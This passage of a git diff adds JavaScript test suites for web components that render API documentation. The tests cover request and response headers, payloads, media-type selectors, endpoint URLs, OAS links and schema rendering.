it('renders the request headers', async () => { + const data = loader.lookupRequest(model, '/people', 'get'); + const element = await basicFixture(model, data); + + assert.isTrue(element.hasHeaders, 'hasHeaders is true'); + + const section = element.shadowRoot.querySelector('.params-section [data-ctrl-property="headersOpened"]'); + assert.ok(section, 'the section is rendered'); + + const params = element.shadowRoot.querySelectorAll('api-parameter-document[data-name="header"]'); + assert.lengthOf(params, 2, 'has all parameters document'); + }); + + it('ignores headers section when no headers', async () => { + const data = loader.lookupRequest(model, '/messages', 'get'); + const element = await basicFixture(model, data); + + assert.isFalse(element.hasHeaders, 'hasHeaders is true'); + + const section = element.shadowRoot.querySelector('.params-section [data-ctrl-property="headersOpened"]'); + assert.notOk(section, 'the section is not rendered'); + }); + }); + + describe('payload rendering', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact); + }); + + it('renders the payload schema', async () => { + const data = loader.lookupRequest(model, '/people', 'post'); + const element = await basicFixture(model, data); + + const node = element.shadowRoot.querySelector('api-payload-document'); + assert.ok(node, 'has the payload document'); + }); + + it('ignores the payload when not defined', async () => { + const data = loader.lookupRequest(model, '/people', 'get'); + const element = await basicFixture(model, data); + + const node = element.shadowRoot.querySelector('api-payload-document'); + assert.notOk(node); + }); + }); + + describe('request media type selector', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact); + }); + + it('renders the request media type selector', async () => { + const data = loader.lookupRequest(model, '/people', 'put'); + const element = await basicFixture(model, data); + + const section = element.shadowRoot.querySelector('.params-section[data-controlled-by="payloadOpened"]'); + const selector = section.querySelector('.media-type-selector'); + assert.ok(selector, 'has the payload document'); + + const buttons = selector.querySelectorAll('anypoint-radio-button'); + assert.lengthOf(buttons, 2, 'has 2 media types to select'); + }); + + it('ignores the media type when not defined', async () => { + const data = loader.lookupRequest(model, '/orgs/{orgId}', 'put'); + const element = await basicFixture(model, data); + + const section = element.shadowRoot.querySelector('.params-section[data-controlled-by="payloadOpened"]'); + const selector = section.querySelector('.media-type-selector'); + assert.notOk(selector, 'has the payload document'); + }); + + it('selecting a mime type changes the payload', async () => { + const data = loader.lookupRequest(model, '/people', 'put'); + const element = await basicFixture(model, data); + + const section = element.shadowRoot.querySelector('.params-section[data-controlled-by="payloadOpened"]'); + const selector = section.querySelector('.media-type-selector'); + + const buttons = selector.querySelectorAll('anypoint-radio-button'); + + buttons[1].click(); + + await nextFrame(); + + assert.equal(element.mimeType, 'application/xml', 'media type is changed'); + }); + }); + + describe('APIC-463: request media type selector', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact, 'APIC-463'); + }); + + it('renders the request media type selector', async () => { + const data = loader.lookupRequest(model, '/test', 'post'); + const element = await basicFixture(model, data); + + const section = element.shadowRoot.querySelector('.params-section[data-controlled-by="payloadOpened"]'); + const selector = section.querySelector('.media-type-selector'); + assert.ok(selector, 'has the payload document'); + + const buttons = selector.querySelectorAll('anypoint-radio-button'); + assert.lengthOf(buttons, 2, 'has 2 media types to select'); + assert.equal(buttons[0].textContent.trim(), 'binary/octet-stream'); + assert.equal(buttons[1].textContent.trim(), 'multipart/form-data'); + }); + }); + + describe('APIC-561: anyOf', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact, 'anyOf'); + }); + + it('renders the documentation for anyOf type', async () => { + const data = loader.lookupRequest(model, 'test', 'publish'); + const element = await basicFixture(model, data); + const doc = element.shadowRoot.querySelector('api-payload-document'); + assert.ok(doc); + }); + }); + }); +}); diff --git a/test/elements/ApiResourceDocumentationElement.test.js b/test/elements/ApiResourceDocumentationElement.test.js new file mode 100644 index 0000000..c16ecbc --- /dev/null +++ b/test/elements/ApiResourceDocumentationElement.test.js @@ -0,0 +1,308 @@ +import { fixture, assert, html, aTimeout, nextFrame } from '@open-wc/testing'; +import { requestValues } from '../../src/elements/ApiResourceDocumentationElement.js'; +import { AmfLoader } from '../AmfLoader.js'; +import { loadMonaco } from '../MonacoSetup.js'; +import '../../api-resource-document.js'; + +/** @typedef {import('../../').ApiResourceDocumentationElement} ApiResourceDocumentationElement */ +/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */ +/** @typedef {import('@api-components/amf-helper-mixin').DomainElement} DomainElement */ +/** @typedef {import('@api-components/amf-helper-mixin').Response} Response */ + +describe('ApiResourceDocumentationElement', () => { + const loader = new AmfLoader(); + + before(async () => loadMonaco()); + + /** + * @param {AmfDocument} amf + * @param {string=} domainId + * @param {string=} operationId + * @returns {Promise} + */ + async function basicFixture(amf, domainId, operationId) { + const element = await fixture(html``); + await aTimeout(0); + return /** @type ApiResourceDocumentationElement */ (element); + } + + /** + * @param {AmfDocument} amf + * @param {string=} domainId + * @returns {Promise} + */ + async function asyncFixture(amf, domainId) { + const element = await fixture(html``); + await aTimeout(0); + return /** @type ApiResourceDocumentationElement */ (element); + } + + /** + * @param {AmfDocument} amf + * @param {string=} domainId + * @returns {Promise} + */ + async function tryItPanelFixture(amf, domainId) { + const element = await fixture(html``); + await aTimeout(0); + return /** @type ApiResourceDocumentationElement */ (element); + } + + [false, true].forEach((compact) => { + /** @type AmfDocument */ + let demoModel; + /** @type AmfDocument */ + let asyncModel; + /** @type AmfDocument */ + let petStoreModel; + before(async () => { + demoModel = await loader.getGraph(compact); + asyncModel = await loader.getGraph(compact, 'async-api'); + petStoreModel = await loader.getGraph(compact, 'Petstore-v2'); + }); + + describe('graph processing', () => { + it('sets the endpoint value', async () => { + const data = loader.lookupEndpoint(demoModel, '/messages'); + const element = await basicFixture(demoModel, data['@id']); + + const { endpoint } = element; + assert.typeOf(endpoint, 'object', 'has the endpoint'); + assert.equal(endpoint.path, '/messages', 'has the endpoint model'); + }); + + it('sets the endpointUri value', async () => { + const data = loader.lookupEndpoint(demoModel, '/messages'); + const element = await basicFixture(demoModel, data['@id']); + + const { endpointUri } = element; + assert.equal(endpointUri, 'http://{instance}.domain.com/messages'); + }); + + it('sets the servers value', async () => { + const data = loader.lookupEndpoint(demoModel, '/messages'); + const element = await basicFixture(demoModel, data['@id']); + + const { servers } = element; + assert.typeOf(servers, 'array', 'has the servers array'); + assert.lengthOf(servers, 1, 'has a single server'); + const [srv] = servers; + assert.equal(srv.url, 'http://{instance}.domain.com/', 'has the server model'); + }); + + // this is unreliable... + it.skip('scrolls to the selected operation when initializing', async () => { + const data = loader.lookupEndpoint(demoModel, '/people'); + const op = loader.getOperation(demoModel, '/people', 'put'); + await basicFixture(demoModel, data['@id'], op.id); + assert.equal(window.scrollY, 0, 'initial scroll is 0'); + await aTimeout(400); + assert.notEqual(window.scrollY, 0, 'the window is scrolled') + }); + }); + + describe('title are rendering', () => { + it('renders the endpoint name, when defined', async () => { + const data = loader.lookupEndpoint(demoModel, '/people'); + const element = await basicFixture(demoModel, data['@id']); + const header = element.shadowRoot.querySelector('.endpoint-header'); + const label = header.querySelector('.label'); + assert.equal(label.textContent.trim(), 'People'); + }); + + it('renders the endpoint path, when name not defined', async () => { + const data = loader.lookupEndpoint(demoModel, '/orgs/{orgId}'); + const element = await basicFixture(demoModel, data['@id']); + const header = element.shadowRoot.querySelector('.endpoint-header'); + const label = header.querySelector('.label'); + assert.equal(label.textContent.trim(), '/orgs/{orgId}'); + }); + + it('renders the endpoint sub-title for sync API', async () => { + const data = loader.lookupEndpoint(demoModel, '/orgs/{orgId}'); + const element = await basicFixture(demoModel, data['@id']); + const header = element.shadowRoot.querySelector('.endpoint-header'); + const label = header.querySelector('.sub-header'); + assert.equal(label.textContent.trim(), 'API endpoint'); + }); + + it('renders the endpoint sub-title for async API', async () => { + const data = loader.lookupEndpoint(asyncModel, 'hello'); + const element = await asyncFixture(asyncModel, data['@id']); + const header = element.shadowRoot.querySelector('.endpoint-header'); + const label = header.querySelector('.sub-header'); + assert.equal(label.textContent.trim(), 'API channel'); + }); + }); + + describe('URL rendering', () => { + it('renders the endpoint uri for a synchronous API', async () => { + const data = loader.lookupEndpoint(petStoreModel, '/pets'); + const element = await basicFixture(petStoreModel, data['@id']); + const value = element.shadowRoot.querySelector('.endpoint-url .url-value'); + assert.equal(value.textContent.trim(), 'http://petstore.swagger.io/api/pets'); + }); + + it('renders the channel uri for an async API', async () => { + const data = loader.lookupEndpoint(asyncModel, 'goodbye'); + const element = await basicFixture(asyncModel, data['@id']); + const value = element.shadowRoot.querySelector('.endpoint-url .url-value'); + assert.equal(value.textContent.trim(), 'amqp://broker.mycompany.com/goodbye'); + }); + }); + + describe('Extensions rendering', () => { + it('renders resource type extension', async () => { + const data = loader.lookupEndpoint(demoModel, '/people/{personId}'); + const element = await basicFixture(demoModel, data['@id']); + const value = element.shadowRoot.querySelector('.extensions'); + assert.equal(value.textContent.trim(), 'Implements ResourceNotFound.'); + }); + + it('renders traits extension', async () => { + const data = loader.lookupEndpoint(demoModel, '/orgs/{orgId}'); + const element = await basicFixture(demoModel, data['@id']); + const value = element.shadowRoot.querySelector('.extensions'); + assert.equal(value.textContent.trim(), 'Mixes in RateLimited.'); + }); + + it('renders both the traits and the response type extension', async () => { + const data = loader.lookupEndpoint(demoModel, '/people'); + const element = await basicFixture(demoModel, data['@id']); + const value = element.shadowRoot.querySelector('.extensions'); + assert.equal(value.textContent.trim(), 'Implements RequestErrorResponse. Mixes in RateLimited.'); + }); + }); + + describe('Description rendering', () => { + it('renders the description', async () => { + const data = loader.lookupEndpoint(demoModel, '/people/{personId}'); + const element = await basicFixture(demoModel, data['@id']); + const desc = element.shadowRoot.querySelector('.api-description'); + assert.ok(desc, 'has the description'); + const marked = desc.querySelector('arc-marked'); + assert.equal(marked.markdown, 'The endpoint to access information about the person'); + }); + + it('renders traits extension', async () => { + const data = loader.lookupEndpoint(demoModel, '/people'); + const element = await basicFixture(demoModel, data['@id']); + const desc = element.shadowRoot.querySelector('.api-description'); + assert.notOk(desc, 'has no description'); + }); + }); + + describe('renders operations', () => { + it('renders all operations in the endpoint', async () => { + const data = loader.lookupEndpoint(demoModel, '/people'); + const element = await basicFixture(demoModel, data['@id']); + const elements = element.shadowRoot.querySelectorAll('api-operation-document'); + assert.lengthOf(elements, 3); + }); + + it('sets a minimum properties', async () => { + const data = loader.lookupEndpoint(demoModel, '/messages'); + const element = await basicFixture(demoModel, data['@id']); + const op = element.shadowRoot.querySelector('api-operation-document'); + assert.typeOf(op.amf, 'object', 'amf is set') + assert.typeOf(op.domainId, 'string', 'domainId is set') + assert.typeOf(op.dataset.domainId, 'string', 'domainId is set') + assert.isTrue(op.responsesOpened, 'responsesOpened is set') + assert.isTrue(op.renderSecurity, 'renderSecurity is set') + }); + + it('sets the baseUri', async () => { + const data = loader.lookupEndpoint(demoModel, '/messages'); + const element = await basicFixture(demoModel, data['@id']); + element.baseUri = 'https://api.domain.com'; + await nextFrame(); + const op = element.shadowRoot.querySelector('api-operation-document'); + assert.equal(op.baseUri, 'https://api.domain.com'); + }); + + it('sets the tryItButton', async () => { + const data = loader.lookupEndpoint(demoModel, '/messages'); + const element = await basicFixture(demoModel, data['@id']); + element.tryItButton = true; + await nextFrame(); + const op = element.shadowRoot.querySelector('api-operation-document'); + assert.isTrue(op.tryItButton); + }); + + it('always sets tryItButton to false when tryItPanel is set', async () => { + const data = loader.lookupEndpoint(demoModel, '/messages'); + const element = await basicFixture(demoModel, data['@id']); + element.tryItButton = true; + element.tryItPanel = true; + await nextFrame(); + const op = element.shadowRoot.querySelector('api-operation-document'); + assert.notOk(op.tryItButton); + });`` + + it('sets the asyncApi', async () => { + const data = loader.lookupEndpoint(demoModel, '/messages'); + const element = await basicFixture(demoModel, data['@id']); + element.asyncApi = true; + await nextFrame(); + const op = element.shadowRoot.querySelector('api-operation-document'); + assert.isTrue(op.asyncApi); + }); + }); + + describe('Rendering HTTP editors', () => { + it('renders HTTP request editors for all operations', async () => { + const data = loader.lookupEndpoint(demoModel, '/people'); + const element = await tryItPanelFixture(demoModel, data['@id']); + const elements = element.shadowRoot.querySelectorAll('api-request-panel'); + assert.lengthOf(elements, 3); + }); + + it('collects request panel values for the code snippets', async () => { + const data = loader.lookupEndpoint(demoModel, '/people'); + const element = await tryItPanelFixture(demoModel, data['@id']); + await aTimeout(201); + const values = element[requestValues]; + assert.typeOf(values, 'object', 'has the [requestValues] property'); + assert.lengthOf(Object.keys(values), 3, 'has values for each request'); + }); + + it('renders the code snippets', async () => { + const data = loader.lookupEndpoint(demoModel, '/people'); + const element = await tryItPanelFixture(demoModel, data['@id']); + await aTimeout(201); + const elements = element.shadowRoot.querySelectorAll('http-code-snippets'); + assert.lengthOf(elements, 3); + }); + + it('sets the initial request values on the code snippets', async () => { + const data = loader.lookupEndpoint(demoModel, '/people'); + const element = await tryItPanelFixture(demoModel, data['@id']); + await aTimeout(201); + const editor = element.shadowRoot.querySelector('api-request-panel'); + const { selected } = editor; + const values = element[requestValues][selected]; + assert.typeOf(values, 'object', 'has values for a request editor'); + const snippets = editor.parentElement.querySelector('http-code-snippets'); + assert.equal(snippets.url, values.url, 'snippets.url is set'); + assert.equal(snippets.method, values.method, 'snippets.method is set'); + assert.equal(snippets.headers, values.headers, 'snippets.headers is set'); + assert.equal(snippets.payload, values.payload, 'snippets.payload is set'); + }); + }); + }); +}); diff --git a/test/elements/ApiResponseDocumentElement.test.js b/test/elements/ApiResponseDocumentElement.test.js new file mode 100644 index 0000000..613ec09 --- /dev/null +++ b/test/elements/ApiResponseDocumentElement.test.js @@ -0,0 +1,292 @@ +import { fixture, assert, nextFrame, html, aTimeout } from '@open-wc/testing'; +import { AmfLoader } from '../AmfLoader.js'; +import '../../api-response-document.js'; + +/** @typedef {import('../../').ApiResponseDocumentElement} ApiResponseDocumentElement */ +/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */ +/** @typedef {import('@api-components/amf-helper-mixin').DomainElement} DomainElement */ +/** @typedef {import('@api-components/amf-helper-mixin').Response} Response */ + +describe('ApiResponseDocumentElement', () => { + const loader = new AmfLoader(); + + /** + * @param {AmfDocument} amf + * @param {Response=} shape + * @param {string=} mimeType + * @returns {Promise} + */ + async function basicFixture(amf, shape, mimeType) { + const element = await fixture(html``); + await aTimeout(0); + return /** @type ApiResponseDocumentElement */ (element); + } + + [false, true].forEach((compact) => { + describe('response headers', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact); + }); + + it('renders the response headers', async () => { + const data = loader.lookupResponses(model, '/people', 'put')[1]; + const element = await basicFixture(model, data); + + assert.isTrue(element.hasHeaders, 'hasHeaders is true'); + + const section = element.shadowRoot.querySelector('.params-section [data-ctrl-property="headersOpened"]'); + assert.ok(section, 'the section is rendered'); + + const params = element.shadowRoot.querySelectorAll('api-parameter-document'); + assert.lengthOf(params, 1, 'has the parameter'); + }); + + it('ignores headers section when no headers', async () => { + const data = loader.lookupResponses(model, '/people', 'get')[1]; + const element = await basicFixture(model, data); + + assert.isFalse(element.hasHeaders, 'hasHeaders is true'); + + const section = element.shadowRoot.querySelector('.params-section [data-ctrl-property="headersOpened"]'); + assert.notOk(section, 'the section is not rendered'); + }); + }); + + describe('annotations rendering', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact); + }); + + it('renders the annotations when in the object', async () => { + const data = loader.lookupResponses(model, '/people', 'put')[1]; + const element = await basicFixture(model, data); + + const node = element.shadowRoot.querySelector('api-annotation-document'); + assert.ok(node); + }); + + it('ignores annotations when not defined', async () => { + const data = loader.lookupResponses(model, '/people', 'get')[1]; + const element = await basicFixture(model, data); + + const node = element.shadowRoot.querySelector('api-annotation-document'); + assert.notOk(node); + }); + }); + + describe('description rendering', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact); + }); + + it('renders the description when defined', async () => { + const data = loader.lookupResponses(model, '/people', 'put')[1]; + const element = await basicFixture(model, data); + + const node = element.shadowRoot.querySelector('arc-marked'); + assert.ok(node); + }); + + it('ignores annotations when not defined', async () => { + const data = loader.lookupResponses(model, '/people/{personId}', 'get')[1]; + const element = await basicFixture(model, data); + + const node = element.shadowRoot.querySelector('arc-marked'); + assert.notOk(node); + }); + }); + + describe('payload rendering', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact); + }); + + it('renders the payload schema', async () => { + const data = loader.lookupResponses(model, '/people', 'put')[1]; + const element = await basicFixture(model, data); + + const node = element.shadowRoot.querySelector('api-payload-document'); + assert.ok(node, 'has the payload document'); + }); + + it('ignores the payload when not defined', async () => { + const data = loader.lookupResponses(model, '/people/{personId}', 'put')[1]; + const element = await basicFixture(model, data); + + const node = element.shadowRoot.querySelector('api-payload-document'); + assert.notOk(node); + }); + }); + + describe('response media type selector', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact); + }); + + it('renders the response media type selector', async () => { + const data = loader.lookupResponses(model, '/people', 'put')[1]; + const element = await basicFixture(model, data); + + const section = element.shadowRoot.querySelectorAll('.params-section')[1]; + const selector = section.querySelector('.media-type-selector'); + assert.ok(selector, 'has the payload document'); + + const buttons = selector.querySelectorAll('anypoint-radio-button'); + assert.lengthOf(buttons, 2, 'has 2 media types to select'); + }); + + it('ignores the media type when not defined', async () => { + const data = loader.lookupResponses(model, '/people', 'get')[1]; + const element = await basicFixture(model, data); + + const section = element.shadowRoot.querySelectorAll('.params-section')[0]; + const selector = section.querySelector('.media-type-selector'); + assert.notOk(selector, 'has the payload document'); + }); + + it('selecting a mime type changes the payload', async () => { + const data = loader.lookupResponses(model, '/people', 'put')[1]; + const element = await basicFixture(model, data); + + const section = element.shadowRoot.querySelectorAll('.params-section')[1]; + const selector = section.querySelector('.media-type-selector'); + + const buttons = selector.querySelectorAll('anypoint-radio-button'); + + buttons[1].click(); + + await nextFrame(); + + assert.equal(element.mimeType, 'application/xml', 'media type is changed'); + }); + }); + + describe('links rendering', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact, 'oas-callbacks'); + }); + + it('renders the links table', async () => { + const data = loader.lookupResponses(model, '/subscribe', 'post')[1]; + const element = await basicFixture(model, data); + + const title = element.shadowRoot.querySelector('.links-header'); + assert.ok(title, 'has the links title'); + assert.equal(title.textContent.trim(), 'Links'); + }); + + it('renders titles for each link', async () => { + const data = loader.lookupResponses(model, '/subscribe', 'post')[0]; + const element = await basicFixture(model, data); + + const titles = element.shadowRoot.querySelectorAll('.link-header'); + assert.lengthOf(titles, 2, 'has 2 links'); + + assert.equal(titles[0].textContent.trim(), 'unsubscribeOp', 'has link #1 title'); + assert.equal(titles[1].textContent.trim(), 'otherOp', 'has link #2 title'); + }); + + it('renders a single header', async () => { + const data = loader.lookupResponses(model, '/subscribe', 'post')[1]; + const element = await basicFixture(model, data); + + const nodes = /** @type NodeListOf */ (element.shadowRoot.querySelectorAll('.link-header')); + assert.lengthOf(nodes, 1); + assert.equal(nodes[0].innerText.trim(), 'paymentUrl'); + }); + + it('renders the operation id', async () => { + const data = loader.lookupResponses(model, '/subscribe', 'post')[0]; + const element = await basicFixture(model, data); + + const nodes = element.shadowRoot.querySelectorAll('.operation-id'); + assert.lengthOf(nodes, 1, 'has only a single operationId'); + + const node = /** @type HTMLElement */ (element.shadowRoot.querySelector('.operation-id .operation-name')); + assert.equal(node.innerText.trim(), 'unsubscribeOperation'); + }); + + it('does no render operation id when missing', async () => { + const data = loader.lookupResponses(model, '/subscribe', 'post')[1]; + const element = await basicFixture(model, data); + + const node = element.shadowRoot.querySelector('.operation-id'); + assert.notOk(node); + }); + + it('renders mapping table', async () => { + const data = loader.lookupResponses(model, '/subscribe', 'post')[0]; + const element = await basicFixture(model, data); + + const nodes = element.shadowRoot.querySelectorAll('.mapping-table'); + assert.lengthOf(nodes, 2); + }); + + it('renders single mapping', async () => { + const data = loader.lookupResponses(model, '/subscribe', 'post')[0]; + const element = await basicFixture(model, data); + + const node = element.shadowRoot.querySelectorAll('.mapping-table')[0]; + const rows = node.querySelectorAll('tr'); + // header + single row + assert.lengthOf(rows, 2); + }); + + it('renders multiple mapping', async () => { + const data = loader.lookupResponses(model, '/subscribe', 'post')[0]; + const element = await basicFixture(model, data); + + const node = element.shadowRoot.querySelectorAll('.mapping-table')[1]; + const rows = node.querySelectorAll('tr'); + // header + two rows + assert.lengthOf(rows, 3); + }); + + it('renders mapping values', async () => { + const data = loader.lookupResponses(model, '/subscribe', 'post')[0]; + const element = await basicFixture(model, data); + + const node = element.shadowRoot.querySelectorAll('.mapping-table')[0]; + const row = node.querySelectorAll('tr')[1]; + const cols = row.querySelectorAll('td'); + + assert.equal(cols[0].innerText.trim(), 'Id', 'variable is rendered'); + assert.equal(cols[1].innerText.trim(), '$response.body#/subscriberId', 'expression is rendered'); + }); + }); + + describe('Inline type name (stevetest)', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact, 'stevetest'); + }); + + it('does not render type name when it is "default"', async () => { + const data = loader.lookupResponse(model, '/legal/termsConditionsAcceptReset', 'delete', '400'); + const element = await basicFixture(model, data); + + const doc = element.shadowRoot.querySelector('api-payload-document'); + const schema = doc.shadowRoot.querySelector('api-schema-document'); + assert.notExists(schema.shadowRoot.querySelector('.schema-title')); + }); + }); + }); +}); diff --git a/test/elements/ApiSchemaDocumentElement.test.js b/test/elements/ApiSchemaDocumentElement.test.js new file mode 100644 index 0000000..08dd380 --- /dev/null +++ b/test/elements/ApiSchemaDocumentElement.test.js @@ -0,0 +1,949 @@ +import { fixture, assert, nextFrame, html, aTimeout } from '@open-wc/testing'; +import { AmfLoader } from '../AmfLoader.js'; +import { + schemaValue, + expandedValue, + selectedUnionsValue, +} from '../../src/elements/ApiSchemaDocumentElement.js'; +import '../../api-schema-document.js'; + +/** @typedef {import('../../').ApiSchemaDocumentElement} ApiSchemaDocumentElement */ +/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */ +/** @typedef {import('@api-components/amf-helper-mixin').DomainElement} DomainElement */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiShapeUnion} ApiShapeUnion */ +/** @typedef {import('@anypoint-web-components/anypoint-radio-button/index').AnypointRadioButtonElement} AnypointRadioButtonElement */ + +describe('ApiSchemaDocumentElement', () => { + const loader = new AmfLoader(); + const JsonType = 'application/json'; + + /** + * @param {AmfDocument} amf + * @param {DomainElement=} shape + * @param {string=} mime + * @returns {Promise} + */ + async function basicFixture(amf, shape, mime) { + const element = await fixture(html``); + await aTimeout(0); + return /** @type ApiSchemaDocumentElement */ (element); + } + + /** + * @param {AmfDocument} amf + * @param {DomainElement=} shape + * @param {string=} mime + * @returns {Promise} + */ + async function examplesFixture(amf, shape, mime) { + const element = await fixture(html``); + await aTimeout(0); + return /** @type ApiSchemaDocumentElement */ (element); + } + + /** + * @param {AmfDocument} amf + * @param {ApiShapeUnion} shape + * @param {string=} mime + * @returns {Promise} + */ + async function schemaFixture(amf, shape, mime) { + const element = await fixture(html``); + await aTimeout(0); + return /** @type ApiSchemaDocumentElement */ (element); + } + + [false, true].forEach((compact) => { + describe(compact ? 'Compact model' : 'Full model', () => { + describe('a11y', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact); + }); + + /** @type ApiSchemaDocumentElement */ + let element; + beforeEach(async () => { + element = await basicFixture(model); + }); + + it('is accessible for scalar type', async () => { + const data = loader.lookupShape(model, 'ScalarType'); + element.domainModel = data; + element.processGraph(); + await nextFrame(); + await assert.isAccessible(element); + }); + + it('is accessible for NilShape type', async () => { + const data = loader.lookupShape(model, 'NilType'); + element.domainModel = data; + element.processGraph(); + await nextFrame(); + await assert.isAccessible(element); + }); + + it('is accessible for AnyShape type', async () => { + const data = loader.lookupShape(model, 'AnyType'); + element.domainModel = data; + element.processGraph(); + await nextFrame(); + await assert.isAccessible(element); + }); + + it('is accessible for UnionShape type', async () => { + const data = loader.lookupShape(model, 'Unionable'); + element.domainModel = data; + element.processGraph(); + await nextFrame(); + await assert.isAccessible(element); + }); + + it('is accessible for ArrayShape type', async () => { + const data = loader.lookupShape(model, 'ArrayType'); + element.domainModel = data; + element.processGraph(); + await nextFrame(); + await assert.isAccessible(element); + }); + + it('is accessible for ArrayShape type', async () => { + const data = loader.lookupShape(model, 'ComplexRecursive'); + element.domainModel = data; + element.processGraph(); + await nextFrame(); + await assert.isAccessible(element); + }); + }); + + describe('processGraph()', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact); + }); + + /** @type ApiSchemaDocumentElement */ + let element; + beforeEach(async () => { + const data = loader.lookupShape(model, 'ScalarType'); + element = await basicFixture(model, data); + }); + + it('sets the [schemaValue]', async () => { + element.processGraph(); + assert.ok(element[schemaValue], 'has the value'); + assert.equal(element[schemaValue].name, 'ScalarType', 'has the processed shape'); + }); + + it('sets the [expandedValue]', async () => { + element[expandedValue] = ['test']; + element.processGraph(); + assert.deepEqual(element[expandedValue], []); + }); + + it('sets the [selectedUnionsValue]', async () => { + element[selectedUnionsValue] = { a: 'test' }; + element.processGraph(); + assert.deepEqual(element[selectedUnionsValue], {}); + }); + + it('computes the schema from the domainId property', () => { + const id = element.domainModel['@id']; + element[schemaValue] = undefined; + element.domainId = id; + element.processGraph(); + assert.ok(element[schemaValue], 'has the value'); + assert.equal(element[schemaValue].name, 'ScalarType', 'has the processed shape'); + }); + }); + + describe('Schema rendering', () => { + describe('Scalar type (RAML)', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact); + }); + + /** @type ApiSchemaDocumentElement */ + let element; + + it('renders a scalar with properties', async () => { + const data = loader.lookupShape(model, 'DescribedScalar'); + element = await basicFixture(model, data); + const titleLabel = element.shadowRoot.querySelector('.schema-header .schema-title .label'); + assert.equal(titleLabel.textContent.trim(), 'DescribedScalar', 'has the schema title'); + const markdown = element.shadowRoot.querySelector('.api-description arc-marked'); + assert.ok(markdown, 'has the markdown processor element'); + assert.typeOf(/** @type any */(markdown).markdown, 'string', 'passes the markdown property to the markdown renderer'); + const type = element.shadowRoot.querySelector('.param-type'); + assert.equal(type.textContent.trim(), 'String', 'renders the schema type'); + const props = element.shadowRoot.querySelectorAll('.schema-property-item'); + assert.lengthOf(props, 2, 'has two additional properties'); + }); + + it('renders a simple scalar without properties', async () => { + const data = loader.lookupShape(model, 'BooleanType'); + element = await basicFixture(model, data); + const titleLabel = element.shadowRoot.querySelector('.schema-header .schema-title .label'); + assert.equal(titleLabel.textContent.trim(), 'BooleanType', 'has the schema title'); + const markdown = element.shadowRoot.querySelector('.api-description arc-marked'); + assert.notOk(markdown, 'has no markdown processor'); + const type = element.shadowRoot.querySelector('.param-type'); + assert.equal(type.textContent.trim(), 'Boolean', 'renders the schema type'); + const props = element.shadowRoot.querySelectorAll('.schema-property-item'); + assert.lengthOf(props, 0, 'has no additional properties'); + }); + }); + + describe('Nil type (RAML)', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact); + }); + + /** @type ApiSchemaDocumentElement */ + let element; + + it('renders the NIL type description', async () => { + const data = loader.lookupShape(model, 'NilType'); + element = await basicFixture(model, data); + const titleLabel = element.shadowRoot.querySelector('.schema-header .schema-title .label'); + assert.equal(titleLabel.textContent.trim(), 'NilType', 'has the schema title'); + const markdown = element.shadowRoot.querySelector('.api-description arc-marked'); + assert.notOk(markdown, 'has no markdown processor element'); + const info = element.shadowRoot.querySelector('.nil-info'); + assert.ok(info, 'has the info node'); + assert.equal(info.textContent.trim(), 'The value of this property is nil.', 'renders the info content'); + }); + }); + + describe('Object type (RAML)', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact); + }); + + /** @type ApiSchemaDocumentElement */ + let element; + + it('renders the base properties', async () => { + const data = loader.lookupShape(model, 'AppPerson'); + element = await basicFixture(model, data, JsonType); + const titleLabel = element.shadowRoot.querySelector('.schema-header .schema-title .label'); + assert.equal(titleLabel.textContent.trim(), 'A person resource', 'has the schema title'); + const markdown = element.shadowRoot.querySelector('.api-description arc-marked'); + assert.ok(markdown, 'has the markdown processor element'); + assert.typeOf(/** @type any */(markdown).markdown, 'string', 'passes the markdown property to the markdown renderer'); + const info = element.shadowRoot.querySelector('.examples'); + assert.ok(info, 'has the examples'); + const params = element.shadowRoot.querySelector('.params-section'); + assert.ok(params, 'has the params list'); + }); + + it('renders the example', async () => { + const data = loader.lookupShape(model, 'AppPerson'); + element = await basicFixture(model, data, JsonType); + + const examples = element.shadowRoot.querySelectorAll('.schema-example'); + assert.lengthOf(examples, 1, 'has a single example'); + + const detail = /** @type HTMLDetailsElement */ (examples[0]); + assert.isFalse(detail.open, 'the example is not opened by default'); + + const code = detail.querySelector('.code-value'); + assert.ok(code, 'has the code value'); + + assert.isNotEmpty(code.textContent.trim(), 'code has a value'); + }); + + it('renders object properties', async () => { + const data = loader.lookupShape(model, 'AppPerson'); + element = await basicFixture(model, data, JsonType); + + const properties = element.shadowRoot.querySelectorAll('.property-container'); + // this is to be changed if the # of properties in the AppPerson type change. + assert.lengthOf(properties, 16, 'has 16 properties'); + }); + + it('renders the name and the display name', async () => { + const data = loader.lookupShape(model, 'AppPerson'); + element = await basicFixture(model, data, JsonType); + + const property = element.shadowRoot.querySelector('.property-container[data-name="favouriteTime"]'); + const name = property.querySelector('.param-name'); + assert.equal(name.textContent.trim(), 'Some example', 'renders the display name'); + const secondary = property.querySelector('.param-name-secondary'); + assert.equal(secondary.textContent.trim(), 'favouriteTime', 'renders the property name'); + }); + + it('renders a required property', async () => { + const data = loader.lookupShape(model, 'AppPerson'); + element = await basicFixture(model, data, JsonType); + + const property = element.shadowRoot.querySelector('.property-container[data-name="favouriteTime"]'); + const name = property.querySelector('.param-name'); + assert.isTrue(name.classList.contains('required'), 'the title has the required CSS class name'); + + const { content } = 